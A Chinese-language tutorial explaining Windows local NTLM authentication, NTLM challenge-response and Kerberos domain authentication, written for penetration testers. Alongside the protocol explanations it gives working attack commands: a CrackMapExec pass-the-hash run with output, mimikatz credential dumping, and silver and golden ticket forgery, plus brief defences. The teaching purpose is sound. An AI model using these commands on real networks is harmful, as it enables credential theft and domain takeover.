windows認證解讀

0x00 本地認證

 

本地認證基礎知識

 

在本地登錄Windows的情況下,作業系統會使用用戶輸入的密碼作為憑證去與系統中的密碼進行驗證,但是作業系統中的密碼存儲在哪裡呢?

 

%SystemRoot%\system32\config\sam

 

當我們登錄系統的時候,系統會自動地讀取SAM文件中的「密碼」與我們輸入的「密碼」進行比對,如果相同,證明認證成功

 

這個SAM文件中保留了電腦本地所有用戶的憑證資訊,可以理解為是一個資料庫。

 

上面認證的過程只是粗略的說法,整個認證過程並沒有那麼簡單,從作業系統的角度來看,還是需要鋪墊很多概念的。

 

Windows本身不保存明文密碼,只保留密碼的Hash

 

Hash,一般翻譯做「散列」,也有直接音譯為「哈希」的,就是把任意長度的輸入(又叫做預映射pre-image)通過散列演算法變換成固定長度的輸出,該輸出就是散列值。這種轉換是一種壓縮映射,也就是,散列值的空間通常遠小於輸入的空間,不同的輸入可能會散列成相同的輸出,所以不可能從散列值來確定唯一的輸入值。簡單的說就是一種將任意長度的消息壓縮到某一固定長度的消息摘要的函數。 

 

為了保證存儲的不是明文,從而採用Hash,但是密碼Hash也需要特定的生成演算法以及表現形式。

 

NTLM Hash與NTLM

 

在Windows中,密碼Hash目前稱之為NTLM Hash,其中NTLM全稱是:「NT LAN Manager」。

這個NTLM是一種網路認證協議,與NTLM Hash的關係就是:NTLM網路認證協議是以NTLM Hash作為根本憑證進行認證的協議。

也就是說,NTLM與NTLM Hash相互對應。

在本地認證的過程中,其實就是將用戶輸入的密碼轉換為NTLM Hash與SAM中的NTLM Hash進行比較。

 

NTLM Hash的產生

 

假設我的密碼是admin,那麼作業系統會將admin轉換為十六進位,經過Unicode轉換後,再調用MD4加密演算法加密,這個加密結果的十六進位就是NTLM Hash。

 

admin -> hex(16進位編碼) = 61646d696e
61646d696e -> Unicode = 610064006d0069006e00
610064006d0069006e00 -> MD4 = 209c6174da490caeb422f3fa5a7ae634

 

本地認證流程

 

winlogon.exe -> 接收用戶輸入 -> lsass.exe -> (認證)

 

首先,用戶註銷、重啟、鎖屏後,作業系統會讓winlogon顯示登錄介面,也就是輸入框,接收輸入後,將密碼交給lsass進程,這個進程中會存一份明文密碼,將明文密碼加密成NTLM Hash,對SAM資料庫比較認證。

 

  • Windows Logon Process(即 winlogon.exe),是Windows NT 用戶登 陸程式,用於管理用戶登錄和退出。
  • LSASS用於微軟Windows系統的安全機 制。它用於本地安全和登陸策略。

 

LM Hash

 

在NTLM協議問世之前,它對前身就是LM(LAN Manager)協議。

 

LM與NTLM協議的認證機制相同,但是加密演算法不同。

 

目前大多數的Windows都採用NTLM協議認證,LM協議已經基本淘汰了。

 

0x01 網路認證

 

在內網滲透中,經常遇到工作組環境,而工作組環境是一個邏輯 上的網路環境(工作區),隸屬於工作組的機器之間無法互相建 立一個完美的信任機制,只能點對點,是比較落後的認證方式, 沒有信託機構。

假設A主機與B主機屬於同一個工作組環境,A想訪問B主機上的資料,需要將一個存在於B主機上的賬戶憑證發送至B主機,經過認證才能夠訪問B主機上的資源。

 

這是我們接觸比較多的SMB共享文件的案例,SMB的默認埠是445。

 

早期SMB協議在網路上傳輸明文口令。後來出現 LAN Manager Challenge/Response 驗證機制,簡稱LM,它是如此簡單以至很容易就被破解,現在又有了NTLM以及Kerberos。

 

NTLM 協議

 

NTLM是一種網路認證協議,它是基於挑戰(Chalenge)/響應(Response)認證機制的一種認證模式。

這個協議只支援Windows

 

Chalenge/Response

 

NTLM協議的認證過程分為三步:

  • 協商
  • 質詢
  • 驗證

協商:主要用於確認雙方協議版本

質詢:就是挑戰(Chalenge)/響應(Response)認證機制起作用的範疇,本小節主要討論這個機制的運作流程。

驗證:驗證主要是在質詢完成後,驗證結果,是認證的最後一步。

 

質詢的完整過程:

 

  • 1.客戶端向伺服器端發送用戶資訊(用戶名)請求

  • 2.伺服器接受到請求,生成一個16位的隨機數,被稱之為「Challenge」, 使用登錄用戶名對應的NTLM Hash加密Challenge(16位隨機字元), 生成Challenge1。同時,生成Challenge1後,將Challenge(16位隨機 字元)發送給客戶端。

  • 3.客戶端接受到Challenge後,使用將要登錄到賬戶對應的NTLM Hash加密Challenge生成Response,然後將Response發送至伺服器端。

 

其中,經過NTLM Hash加密Challenge的結果在網路協議中稱之為Net NTLM Hash。

 

驗證: 伺服器端收到客戶端的Response後,比對Chanllenge1與Response是否相等,若相等,則認證通過。

 

使用另外一種方式解讀:

 

1.Server接收到Client發送的用戶名後,判斷本地賬戶列 表是否有用戶名share_user

  • 如果沒有,返回認證失敗
  • 如果有,生成Chanllenge,並且從本地查找share_user對 應的NTLM Hash,使用NTLM Hash加密Chanllenge,生成一 個Net-NTLM Hash存在記憶體中,並將Chanllenge發送給Client。

2.Client接收到Chanllenge後,將自己提供的share_user的密碼轉換為NTLM Hash,使用NTLM Hash加密Chanllenge, 這個結果叫Response,表現形式是Net-NTLM Hash,最後將Response發送給Server。

3.Server接收到Client發送的Response,將Response與之 前的Net-NTLM Hash進行比較,如果相等,則認證通過。

 

注意:

1.Chanllenge是Server產生的一個16位元組的隨機數,每次認證都不同

2.Response的表現形式是Net-NTLM Hash,它是由客戶端 提供的密碼Hash加密Server返回的Chanllenge產生的結果。

 

0x01.png

 

NTLM V2協議

 

NTLM v1與NTLM v2最顯著的區別就是Challenge與加密演算法不同,共同點就是加密的原料都是NTLM Hash。

 

下面細說一下有什麼不同:

  • Challage:NTLM v1的Challenge有8位,NTLM v2的Challenge為16位。
  • Net-NTLM Hash:NTLM v1的主要加密演算法是DES,NTLM v2的主要加密演算法是HMAC-MD5。

現在應該能夠理解什麼是NTLM、NTLM Hash、LM、LM Hash、Net NTLM Hash了吧?

 

Pass The Hash

 

在內網滲透中,我們經常會需要抓取管理員的密碼、NTLM Hash,通過搜集這些資訊有助於我們擴大戰果,尤其是在域環境下。

 

  • 什麼是哈希傳遞?

哈希傳遞是能夠在不需要賬戶明文密碼的情況下完成認證的一個技術。

  • 哈希傳遞的作用?

解決了我們滲透中獲取不到明文密碼、破解不了NTLM Hash而又想擴大戰果的問題。

 

Pass The Hash – 必要條件

 

  • 哈希傳遞需要被認證的主機能夠訪問到伺服器(廢話)
  • 哈希傳遞需要被傳遞認證的用戶名
  • 哈希傳遞需要被傳遞認證用戶的NTLM Hash

要完成一個NTLM認證,第一步需要客戶端將自己要參與認證的 用戶名發送至伺服器端,等待伺服器端給出的Challenge

 

其實哈希傳遞就是使用用戶名對應的NTLM Hash將伺服器給出的 Chanllenge加密,生成一個Response,來完成認證。

 

Pass The Hash能夠完成一個不需要輸入密碼的NTLM協議認證流程,所以不算是一個漏洞,算是一個技巧。

 

Pass The Hash的工具:

  • Smbmap
  • CrackMapExec
  • Smbexec
  • Metasploit

 

使用CrackMapExec實現Hash傳遞:

 

root@kali:~/cache# cme smb 192.168.3.5 -u administrator -H dab7de8feeb5ecac65faf9fdc6cac3a9 -x whoami
SMB 192.168.3.5 445 LIYINGZHEA30B
[*] Windows 7 Ultimate 7601 Service Pack 1 x64 (name:LIYINGZHEA30B)
(domain:PAYLOADS) (signing:False) (SMBv1:True)
SMB 192.168.3.5 445 LIYINGZHEA30B
[+] PAYLOADS\administrator dab7de8feeb5ecac65faf9fdc6cac3a9
(Pwn3d!)SMB 192.168.3.5 445 LIYINGZHEA30B [+] Executed command

 

0x02 Kerberos域認證

 

Active Directory(活動目錄)概念

 

Windows提供了為企業管理資產、服務、網路對象進行組織化的管理,這非常符合企業架構的管理模式。而承載這些管理機制的就是活動目錄服務。如果要搭建一個域,就需要安裝活動目錄服務,當然,這個不在我們的討論範圍。

 

活動目錄服務以域名來劃分域的邊界,域外就不屬於管理範圍了,也就是說,一個域對應一個域名,域之間也可以相互信任。

 

  • Active Directory存儲了有關網路對象的資訊,並且讓管理員和用 戶能夠輕鬆地查找和使用這些資訊。Active Directory使用了一種 結構化的數據存儲方式,並以此作為基礎對目錄資訊進行合乎邏 輯的分層組織。

  • 網路對象分為:用戶、用戶組、電腦、域、組織單位以及安全 策略等。

 

Active Directory(活動目錄)功能

 

  • 伺服器及客戶端電腦管理:管理伺服器及客戶端電腦賬戶, 所有伺服器及客戶端電腦加入域管理並實施組策略。
  • 用戶服務:管理用戶域賬戶、用戶資訊、企業通訊錄(與電子郵 件系統集成)、用戶組管理、用戶身份認證、用戶授權管理等, 按省實施組管理策略。
  • 資源管理:管理印表機、文件共享服務等網路資源。
  • 桌面配置:系統管理員可以集中的配置各種桌面配置策略,如: 用戶使用域中資源許可權限制、介面功能的限制、應用程式執行特 征限制、網路連接限制、安全配置限制等。
  • 應用系統支撐:支援財務、人事、電子郵件、企業資訊門戶、辦 公自動化、修補程式管理、防病毒系統等各種應用系統。

在域中,網路對象可以相互訪問,但是在真實情況中,需要對某些部門的電腦進行限制,例如:銷售部門不能訪問技術部門的伺服器。

 

這個中間就需要Kerberos認證協議來驗證網路對象間的許可權。

 

域認證體系 – Kerbroes

 

Kerberos 是一種網路認證協議,其設計目標是通過密鑰系統為客 戶機 / 伺服器應用程式提供強大的認證服務。該認證過程的實現不 依賴於主機作業系統的認證,無需基於主機地址的信任,不要求 網路上所有主機的物理安全,並假定網路上傳送的數據包可以被 任意地讀取、修改和插入數據。在以上情況下, Kerberos 作為一 種可信任的第三方認證服務,是通過傳統的密碼技術(如:共享 密鑰)執行認證服務的。

 

域認證所參與的角色 (三隻狗頭)

 

Kerberos的標誌是三隻狗頭,狗頭分別代表以下角色:

  • Client
  • Server
  • KDC(Key Distribution Center) = DC(Domain Controller)

Kerberos認證協議的基礎概念:

票據(Ticket):是網路對象互相訪問的憑證。 TGT(Ticket Granting Ticket):入場券,通過入場券能夠獲得票據,是一種臨時憑證的存在。

KDC負責管理票據、認證票據、分發票據,但是KDC不是一個獨立的服務,它由以下服務組成:

  • Authentication Service: 為client生成TGT的服務
  • Ticket Granting Service: 為client生成某個服務的ticket

另外還需要介紹一個類似於本機SAM的一個資料庫:AD,全稱叫account database,存儲所有client的白名單,只有存 在於白名單的client才能順利申請到TGT。

從物理層面看,AD與KDC均為域控制器(Domain Controller)。

 

域認證粗略流程

  1. client向kerberos服務請求,希望獲取訪問server的許可權。 kerberos得到了這個消息,首先得判斷client是否是可信賴的, 也就是白名單黑名單的說法。這就是AS服務完成的工作,通過 在AD中存儲黑名單和白名單來區分client。成功後,返回AS返 回TGT給client。

  2. client得到了TGT後,繼續向kerberos請求,希望獲取訪問 server的許可權。kerberos又得到了這個消息,這時候通過client 消息中的TGT,判斷出了client擁有了這個許可權,給了client訪 問server的許可權ticket。

  3. client得到ticket後,終於可以成功訪問server。這個ticket只是 針對這個server,其他server需要向TGS申請。

 

域認證

 

0x02.png

 

首先,客戶端需要發送自己的身份資訊到KDC,身份資訊中起碼包含用戶名,KDC根據用戶名在AD中尋找是否在白名單中,然後根據用戶名提取到對應的NTLM Hash。

 

KDC此時生成一個隨機字元串,叫Session Key,使用用戶名對應的NTLM Hash加密Session Key,作為AS數據,使用KDC中某個用戶的NTLM Hash加密Session Key和客戶端的資訊,生成TGT。

 

  • Session Key用於客戶端向TGS服務通訊。
  • 域內所有網路對象的憑證都在AD中保存
  • KDC中某個用戶指的是krbtgt

 

數據結構:

 

0x03.png

 

0x04.png

 

其中,TGT的到期時間為8小時,如果超過了8小時,還需要重新申請TGT,不能之間進入下一步獲取Ticket。

 

Kerberos是一個假設網路環境不安全的情況下能夠正常進行認證工作的協議。

 

第一步中,KDC返回的TGT客戶端是無法解密的,因為它沒有KDC Hash,如果有,我們就可以偽造黃金票據,這個是後話了。

 

0x05.png

 

第二步客戶端需要提供TGT與第一步中使用自己NTLM Hash解密出來的Session Key加密的客戶端資訊跟時間戳。

 

如果假設這個數據被中間人竊取到,也無法在段時間內破解,因為KDC會校驗時間戳。

 

KDC接到TGT與其他內容後,會首先解密TGT,只有KDC可以解密TGT,從TGT中提取到Session Key,再使用Session Key解密其他內容,解密出來的內容同TGT中的資訊進行校驗來確認客戶端是否受信。

 

驗證通過後,就會生成一個新的Session Key,我們稱之為Server Session Key,這個Server Session Key主要用於和伺服器進行通訊。同時還會生成一個Ticket,也就是最後的票據了。

 

Ticket組成如下:

 

0x06.png

 

Server Hash:這個Hash是在AD中伺服器電腦的NTLM Hash。

 

0x07.png

 

在第三步里,客戶端向伺服器請求,需要提供Ticket,Server Session Key加密的客戶端資訊與時間戳。

  • Ticket客戶端無法解密
  • 伺服器端通過解密Ticket解密Server Session Key(Client info + Timestamp)
  • 比較時間長度

 

校驗通過後,認證成功,該票據會一直存在客戶端記憶體中。

 

白銀票據(Silver Tickets)

 

白銀票據特點:

  • 1.不需要與KDC進行交互
  • 2.需要目標服務的NTLM Hash

 

在第三步認證中的Ticket的組成:

 

Ticket=Server Hash(Server Session Key+Client info+End Time) 

 

當擁有Server Hash時,我們就可以偽造一個不經過KDC認證的一個Ticket。

 

PS:Server Session Key在未發送Ticket之前,伺服器是不知道Server Session Key是什麼的。 所以,一切憑據都來源於Server Hash。

 

偽造白銀票據(Silver Tickets)

 

首先需要導出Server Hash:

 

C:\files>mimikatz.exe "privilege::debug」 "sekurlsa::logonpasswords" "exit" > log.txt

 

偽造票據:

 

mimikatz 「kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目標伺服器主機名> /service:<服務類型> /rc4:<NTLM Hash> /user:<用戶名> /ptt" exit

 

Other:

 

kerberos::list #列出票據
kerberos::purge # 清除票據

 

由於白銀票據需要目標伺服器的Hash,所以沒辦法生成對應域內 所有伺服器的票據,也不能通過TGT申請。因此只能針對伺服器 上的某些服務去偽造,偽造的服務類型列表如下:

 

服務注釋 服務名
WMI HOST、RPCSS
Powershell Remoteing HOST、HTTP
WinRM HOST、HTTP
Scheduled Tasks HOST
LDAP 、DCSync LDAP
Windows File Share (CIFS) CIFS
Windows Remote ServerAdministration Tools RPCSS、LDAP、CIFS

 

 

白銀票據(Silver Tickets)防禦

 

  • 1.盡量保證伺服器憑證不被竊取

  • 2.開啟PAC (Privileged Attribute Certificate) 特權屬性證書保護 功能,PAC主要是規定伺服器將票據發送給kerberos服務,由 kerberos服務驗證票據是否有效。

 

開啟方式:

 

將註冊表中的ValidateKdcPacSignature設置為1

 

HKEY_LOCAL_MACHINE\SYSTEM \ CurrentControlSet\Control\Lsa\Kerberos\Parameters

 

黃金票據(Golden Tickets)

 

黃金票據特點:

  • 1.需要與DC通訊
  • 2.需要krbtgt用戶的hash

 

PS:這裡的krbtgt hash就是之前講的KDC Hash

 

黃金票據(Golden Tickets)-MSF kiwi

 

使用meterpreter中的kiwi模組:

 

load kiwi

 

創建票據:

 

0x08.png

 

注入到記憶體:

 

0x09.png

 

使用wmic在目標伺服器上創建一個進程:

 

0x010.png

 

黃金票據(Golden Tickets) – 偽造

 

偽造票據:

 

mimikatz 「kerberos::golden /domain:<域名> /sid:<域SID> /rc4:<KRBTGT NTLM Hash> /user:<任意用戶名> /ptt" exit

 

Tickets 總結

 

  • 黃金票據:從攻擊面來看,獲取krbtgt用戶的hash後,可以在域中 進行持久性的隱藏,並且日誌無法溯源,但是需要拿到DC許可權, 使用黃金票據能夠在一個域環境中長時間控制整個域。

  • 從防禦角度來看,需要經常更新krbtgt的密碼,才能夠使得原有的 票據失效。最根本的辦法是不允許域管賬戶登錄其他伺服器。

  • 白銀票據:從攻擊面來看,偽造白銀票據的難度比偽造黃金票據的 難度較小,因為一個域中的伺服器如果對外的話,非常容易被入侵, 並且容易被轉儲Server。

  • 從防禦角度來看,需要開啟PAC認證,但這會降低認證效率,增加 DC的負擔,最根本的還是要加固伺服器本身對外的服務。

 

0x03 後記

 

首先要感謝傾旋大佬提供的思路,本文只是對windows協議作一個比較系統的剖析,並沒有提及許多認證過程中可利用的一些漏洞,師傅們可以自行拓展